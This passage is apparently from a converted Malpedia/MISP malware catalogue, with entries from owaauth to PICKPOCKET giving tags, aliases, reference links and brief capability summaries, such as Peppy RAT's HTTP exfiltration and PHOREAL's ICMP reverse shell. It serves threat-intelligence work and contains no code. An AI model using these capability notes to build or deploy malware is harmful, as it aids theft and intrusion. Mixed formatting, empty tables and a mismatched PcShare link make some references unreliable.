<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.ovidiystealer</a></td>
</tr>
</tbody>
</table>

owaauth

The tag is: `misp-galaxy:malpedia="owaauth"`

owaauth is also known as:

- luckyowa

Table 3750. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth">https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/">https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-union">https://www.secureworks.com/research/threat-profiles/bronze-union</a></td>
</tr>
</tbody>
</table>

Owlproxy

The tag is: `misp-galaxy:malpedia="Owlproxy"`

Owlproxy is also known as:

Table 3751. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy">https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/">https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-sessionmanager-iis-backdoor/106868/">https://securelist.com/the-sessionmanager-iis-backdoor/106868/</a></td>
</tr>
</tbody>
</table>
Owowa

Kaspersky describes this as a OWA add-on that has credential stealing capabilities.

The tag is: `misp-galaxy:malpedia="Owowa"

Owowa is also known as:

Table 3752. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

OxtaRAT

The tag is: `misp-galaxy:malpedia="OxtaRAT"

OxtaRAT is also known as:

Table 3753. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.oxtarat">https://malpedia.caad.fkie.fraunhofer.de/details/win.oxtarat</a></td>
</tr>
</tbody>
</table>

OZH RAT

The tag is: `misp-galaxy:malpedia="OZH RAT"

OZH RAT is also known as:

Table 3754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/BushidoToken/status/1266075992679948289">https://twitter.com/BushidoToken/status/1266075992679948289</a></td>
</tr>
</tbody>
</table>

Ozone RAT

The tag is: `misp-galaxy:malpedia="Ozone RAT"

Ozone RAT is also known as:

Table 3755. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
PadCrypt

The tag is: `misp-galaxy:malpedia="PadCrypt"`

PadCrypt is also known as:

Table 3756. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt">https://malpedia.caad.fkie.fraunhofer.de/details/win.padcrypt</a></td>
</tr>
<tr>
<td><a href="https://johannesbader.ch/2016/03/the-dga-of-padcrypt/">https://johannesbader.ch/2016/03/the-dga-of-padcrypt/</a></td>
</tr>
</tbody>
</table>

paladin

Paladin RAT is a variant of Gh0st RAT used by PittyPanda active since at least 2011.

The tag is: `misp-galaxy:malpedia="paladin"`

paladin is also known as:

Table 3757. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin">https://malpedia.caad.fkie.fraunhofer.de/details/win.paladin</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html">https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html</a></td>
</tr>
</tbody>
</table>

PandaBanker

According to Arbor, Forcepoint and Proofpoint, Panda is a variant of the well-known Zeus banking trojan(*). Fox IT discovered it in February 2016.

This banking trojan uses the infamous ATS (Automatic Transfer System/Scripts) to automate online bank portal actions.

The baseconfig (c2, crypto material, botnet name, version) is embedded in the malware itself. It then obtains a dynamic config from the c2, with further information about how to grab the webinjects and additional modules, such as vnc, backsocks and grabber.
Panda does have some DGA implemented, but according to Arbor, a bug prevents it from using it.

The tag is: \textit{misp-galaxy:malpedia="PandaBanker"}

PandaBanker is also known as:

\begin{itemize}
  \item ZeusPanda
\end{itemize}

\textit{Table 3758. Table References}

\begin{center}
\begin{tabular}{|l|}
\hline
\textbf{Links} \\
\hline
https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker \\
https://cyber.wtf/2017/02/03/zeus-panda-webinjests-a-case-study/ \\
https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-
  holiday-shoppers \\
https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker \\
https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/ \\
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf \\
https://cyber.wtf/2017/03/13/zeus-panda-webinjests-dont-trust-your-eyes/ \\
https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847 \\
https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-
cryptocurrency-exchanges-and-social-media \\
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-
family-tree \\
https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-
italy-japan-range-malware \\
the-shadow-by-chi-en-shen-ashley-oleg-bondarenko \\
https://www.youtube.com/watch?v=J7VOfAJvxEY \\
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-
brief/ssl-tls-technical-brief.pdf \\
\hline
\end{tabular}
\end{center}

\textbf{Panda Stealer}

According to PCrisk, Panda is the name of a malicious program, which is classified as a stealer. It is
a new variant of CollectorStealer.
The aim of this malware is to extract and exfiltrate sensitive and personal information from infected devices. Panda primarily targets data relating to cryptocurrency wallets.

This piece of malicious software has been observed being actively distributed via spam campaigns - large-scale operations during which thousands of scam emails are sent. The spam mail proliferating Panda stealer heavily targeted users from the United States, Germany, Japan, and Australia.

The deceptive email letters concerned business-related topics (e.g., fake product quote requests, etc.). Panda stealer is a dangerous program, and as such - its infections must be removed immediately upon detection.

The tag is: *misp-galaxy:malpedia="Panda Stealer"*

Panda Stealer is also known as:

*Table 3759. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/en_us/research/21/e/new-panda-stealer-targets-cryptocurrency-wallets-.html">https://www.trendmicro.com/en_us/research/21/e/new-panda-stealer-targets-cryptocurrency-wallets-.html</a></td>
</tr>
<tr>
<td><a href="https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/">https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/</a></td>
</tr>
</tbody>
</table>

**Pandora**

Pandora ransomware was obtained by vx-underground at 2022-03-14.

The tag is: *misp-galaxy:malpedia="Pandora"*

Pandora is also known as:

*Table 3760. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora">https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora</a></td>
</tr>
<tr>
<td><a href="https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/">https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box">https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader">https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques">https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/">https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/</a></td>
</tr>
</tbody>
</table>
Pandora RAT

The tag is: misp-galaxy:malpedia="Pandora RAT"

Pandora RAT is also known as:

- Pandora hVNC RAT

Table 3761. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware">https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware</a></td>
</tr>
</tbody>
</table>

Paradies Clipper

The tag is: misp-galaxy:malpedia="Paradies Clipper"

Paradies Clipper is also known as:

Table 3762. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper">https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper</a></td>
</tr>
<tr>
<td><a href="https://perception-point.io/blog/behind-the-attack-paradies-clipper-malware/">https://perception-point.io/blog/behind-the-attack-paradies-clipper-malware/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=wjoH9jW2EPQ">https://www.youtube.com/watch?v=wjoH9jW2EPQ</a></td>
</tr>
</tbody>
</table>

Paradise

Ransomware.

The tag is: misp-galaxy:malpedia="Paradise"

Paradise is also known as:

Table 3763. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Parallax RAT

Parallax is a Remote Access Trojan used by attackers to gain access to a victim's machine. It was involved in one of the many infamous "coronamalware" campaigns. Basically, the attackers abused the COVID-19 pandemic news to lure victims into opening themed emails spreading parallax.

The tag is: *misp-galaxy:malpedia=“Parallax RAT”*

Parallax RAT is also known as:

- ParallaxRAT

*Table 3764. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax">https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/parallax-rat-active-status">https://blog.morphisec.com/parallax-rat-active-status</a></td>
</tr>
<tr>
<td><a href="https://www.uptycs.com/blog/cryptocurrency-entities-at-risk-threat-actor-uses-parallax-rat-for-infiltration">https://www.uptycs.com/blog/cryptocurrency-entities-at-risk-threat-actor-uses-parallax-rat-for-infiltration</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1227196799997431809">https://twitter.com/malwrhunterteam/status/1227196799997431809</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/ta2541-apt-rats-aviation/178422/">https://threatpost.com/ta2541-apt-rats-aviation/178422/</a></td>
</tr>
</tbody>
</table>
parasite_http

The tag is: misp-galaxy:malpedia="parasite_http"

parasite_http is also known as:

Table 3765. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http">https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http</a></td>
</tr>
</tbody>
</table>

PartyTicket

PartyTicket is a Go-written ransomware, which was described as a poorly designed one by Zscaler. According to Brett Stone-Gross this malware is likely intended to be a diversion from the Hermetic wiper (aka. KillDisk.NCV, DriveSlayer) attack.

The tag is: misp-galaxy:malpedia="PartyTicket"

PartyTicket is also known as:

- Elections GoRansom
- HermeticRansom
- SonicVote

Table 3766. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket">https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket</a></td>
</tr>
<tr>
<td><a href="https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/">https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/information-operations-surrounding-ukraine">https://www.mandiant.com/resources/information-operations-surrounding-ukraine</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/">https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/</a></td>
</tr>
</tbody>
</table>
Passlock

Ransomware.

The tag is: misp-galaxy:malpedia="Passlock"

Passlock is also known as:

Table 3767. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.passlock
https://id-ransomware.blogspot.com
**Pay2Key**

The tag is: *misp-galaxy:malpedia="Pay2Key"*

Pay2Key is also known as:

- Cobalt

*Table 3768. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key">https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2020/ransomware-alert-pay2key/">https://research.checkpoint.com/2020/ransomware-alert-pay2key/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/TrendMicroRSRCH/status/1389422784808378370">https://twitter.com/TrendMicroRSRCH/status/1389422784808378370</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_o7vZdVjz5sJ0s-3">https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_o7vZdVjz5sJ0s-3</a></td>
</tr>
</tbody>
</table>

**PayloadBIN**

The tag is: *misp-galaxy:malpedia="PayloadBIN"*

PayloadBIN is also known as:

*Table 3769. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin">https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin</a></td>
</tr>
</tbody>
</table>

**PcShare**

PcShare is an open-source backdoor which has been seen modified and used by Chinese threat actors, mainly attacking countries in South East Asia.

The tag is: *misp-galaxy:malpedia="PcShare"*

PcShare is also known as:

*Table 3770. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin">https://malpedia.caad.fkie.fraunhofer.de/details/win.payloadbin</a></td>
</tr>
</tbody>
</table>
PEBBLEDASH

The tag is: misp-galaxy:malpedia="PEBBLEDASH"

PEBBLEDASH is also known as:

Table 3771. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash">https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash</a></td>
</tr>
<tr>
<td><a href="https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1">https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/en/30022/">https://asec.ahnlab.com/en/30022/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar20-133c">https://www.us-cert.gov/ncas/analysis-reports/ar20-133c</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/hidden-cobra">https://blog.reversinglabs.com/blog/hidden-cobra</a></td>
</tr>
<tr>
<td><a href="https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf">https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf</a></td>
</tr>
</tbody>
</table>

PeddleCheap

PeddleCheap is a module of the DanderSpritz framework which surface with the "Lost in Translation" release of TheShadowBrokers leaks. In May 2020, ESET mentioned that they found mysterious samples of PeddleCheap packed with a custom packer so far exclusively attributed to Winnti.

The tag is: misp-galaxy:malpedia="PeddleCheap"

PeddleCheap is also known as:

Table 3772. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.peddlecheap">https://malpedia.caad.fkie.fraunhofer.de/details/win.peddlecheap</a></td>
</tr>
</tbody>
</table>
Pekraut

The tag is: `misp-galaxy:malpedia="Pekraut"`

Pekraut is also known as:

Table 3773. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pekraut">https://malpedia.caad.fkie.fraunhofer.de/details/win.pekraut</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2020/04/35849-pekraut-german-rat-starts-gnawing">https://www.gdatasoftware.com/blog/2020/04/35849-pekraut-german-rat-starts-gnawing</a></td>
</tr>
</tbody>
</table>

Penco

The tag is: `misp-galaxy:malpedia="Penco"`

Penco is also known as:

Table 3774. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.penco">https://malpedia.caad.fkie.fraunhofer.de/details/win.penco</a></td>
</tr>
</tbody>
</table>

PennyWise Stealer

The tag is: `misp-galaxy:malpedia="PennyWise Stealer"`

PennyWise Stealer is also known as:

Table 3775. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.pennywise">https://malpedia.caad.fkie.fraunhofer.de/details/win.pennywise</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/06/30/infostealer/">https://blog.cyble.com/2022/06/30/infostealer/</a></td>
</tr>
</tbody>
</table>

Peppy RAT

Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy
successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.

The tag is: misp-galaxy:malpedia="Peppy RAT"

Peppy RAT is also known as:

Table 3776. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.peppy_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.peppy_rat</a></td>
</tr>
</tbody>
</table>

**PetrWrap**

The PetrWrap Trojan is written in C and compiled in MS Visual Studio. It carries a sample of the Petya ransomware v3 inside its data section and uses Petya to infect the victim's machine. What's more, PetrWrap implements its own cryptographic routines and modifies the code of Petya in runtime to control its execution. This allows the criminals behind PetrWrap to hide the fact that they are using Petya during infection.

The tag is: misp-galaxy:malpedia="PetrWrap"

PetrWrap is also known as:

Table 3777. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap">https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap</a></td>
</tr>
</tbody>
</table>

**Petya**

The tag is: misp-galaxy:malpedia="Petya"

Petya is also known as:

Table 3778. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.petya">https://malpedia.caad.fkie.fraunhofer.de/details/win.petya</a></td>
</tr>
</tbody>
</table>
pgift

Information gathering and downloading tool used to deliver second stage malware to the infected system

The tag is: `misp-galaxy:malpedia="pgift"`

pgift is also known as:

- ReRol

---

PhanDoor

The tag is: `misp-galaxy:malpedia="PhanDoor"`

PhanDoor is also known as:
Philadelphia Ransom

The tag is: *misp-galaxy:malpedia*="Philadelphia Ransom"

Philadelphia Ransom is also known as:

Table 3781. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/">https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
</tbody>
</table>

Phobos

MalwareBytes states that Phobos is one of the ransomware families that are distributed via hacked Remote Desktop (RDP) connections. This isn’t surprising, as hacked RDP servers are a cheap commodity on the underground market, and can make for an attractive and cost efficient dissemination vector for threat groups.

The tag is: *misp-galaxy:malpedia*="Phobos"

Phobos is also known as:

Table 3782. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos">https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cis-ransomware/104452/">https://securelist.com/cis-ransomware/104452/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/">https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/</a></td>
</tr>
</tbody>
</table>
## Phoenix Keylogger

Keylogger, information stealer.

The tag is: `misp-galaxy:malpedia=“Phoenix Keylogger”`

Phoenix Keylogger is also known as:

*Table 3783. Table References*
Phoenix Locker

The tag is: misp-galaxy:malpedia="Phoenix Locker"

Phoenix Locker is also known as:

Table 3784. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions">https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions</a></td>
</tr>
<tr>
<td><a href="https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp">https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp</a></td>
</tr>
<tr>
<td><a href="https://killingthebear.jorgetesta.tech/actors/evil-corp">https://killingthebear.jorgetesta.tech/actors/evil-corp</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
</tbody>
</table>

Phonk

The tag is: misp-galaxy:malpedia="Phonk"

Phonk is also known as:

Table 3785. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phonk">https://malpedia.caad.fkie.fraunhofer.de/details/win.phonk</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/abuse_ch/status/1630111198036348928">https://twitter.com/abuse_ch/status/1630111198036348928</a></td>
</tr>
</tbody>
</table>

PHOREAL

Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53.
The tag is: `misp-galaxy:malpedia="PHOREAL"`

PHOREAL is also known as:

- Rizzo

**Table 3786. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal">https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal</a></td>
</tr>
</tbody>
</table>

**Phorpiex**

Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: `misp-galaxy:malpedia="Phorpiex"`

Phorpiex is also known as:

- Trik
- phorphiex

**Table 3787. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex">https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2019/phorpiex-breakdown/">https://research.checkpoint.com/2019/phorpiex-breakdown/</a></td>
</tr>
</tbody>
</table>
PHOTOFORK

PHOTOFORK is a downloader which is a modified version of GZIPLOADER. It was first detected in February 2023 and was distributed by TA581 along with an unattributed threat activity cluster that facilitated initial access. In this version, the configuration file is no longer encrypted using a simple XOR algorithm with a 64-byte key. Instead, it uses a custom algorithm previously used by the Standard core loader. This algorithm decrypts DLL strings that are needed to resolve handles to the necessary DLLs later on. The strings are decrypted using an algorithm that splits the data into DWORDs and XORs it against a random key. The main objective of PHOTOFORK remains the same as GZIPLOADER, i.e. to deliver an encrypted bot and core DLL loader (forked) that loads the Forked ICEDID bot into memory using a custom PE format.

The tag is: misp-galaxy:malpedia="PHOTOFORK"

PHOTOFORK is also known as:

Table 3788. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork">https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork</a></td>
</tr>
</tbody>
</table>
**PHOTOLITE**

PHOTOLITE is the lite version of the GZIPLOADER with limited capabilities i.e. for example it does not have any functionality to exfiltrate the host information. This new variant is observed as a follow-on payload in a TA542 Emotet campaign back in November'22. contains a static URL to download a "Bot Pack" file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjests and backconnect functionality that would typically be used for banking Bot.

The tag is: `misp-galaxy:malpedia="PHOTOLITE"`

PHOTOLITE is also known as:

Table 3789. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite">https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite</a></td>
</tr>
</tbody>
</table>

**PhotoLoader**

A loader used to deliver IcedID, fetching a fake image from which payloads are extracted.

The tag is: `misp-galaxy:malpedia="PhotoLoader"`

PhotoLoader is also known as:

- GZIPLOADER

Table 3790. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/felixw3000/status/1521816045769662468">https://twitter.com/felixw3000/status/1521816045769662468</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/security-labs/unpacking-icedid">https://www.elastic.co/security-labs/unpacking-icedid</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/following-the-lnk-metadata-trail">https://blog.talosintelligence.com/following-the-lnk-metadata-trail</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/29740">https://isc.sans.edu/diary/29740</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/">https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload/">https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload/</a></td>
</tr>
<tr>
<td><a href="https://www.silentpush.com/blog/malicious-infrastructure-as-a-service">https://www.silentpush.com/blog/malicious-infrastructure-as-a-service</a></td>
</tr>
</tbody>
</table>
PICKPOCKET

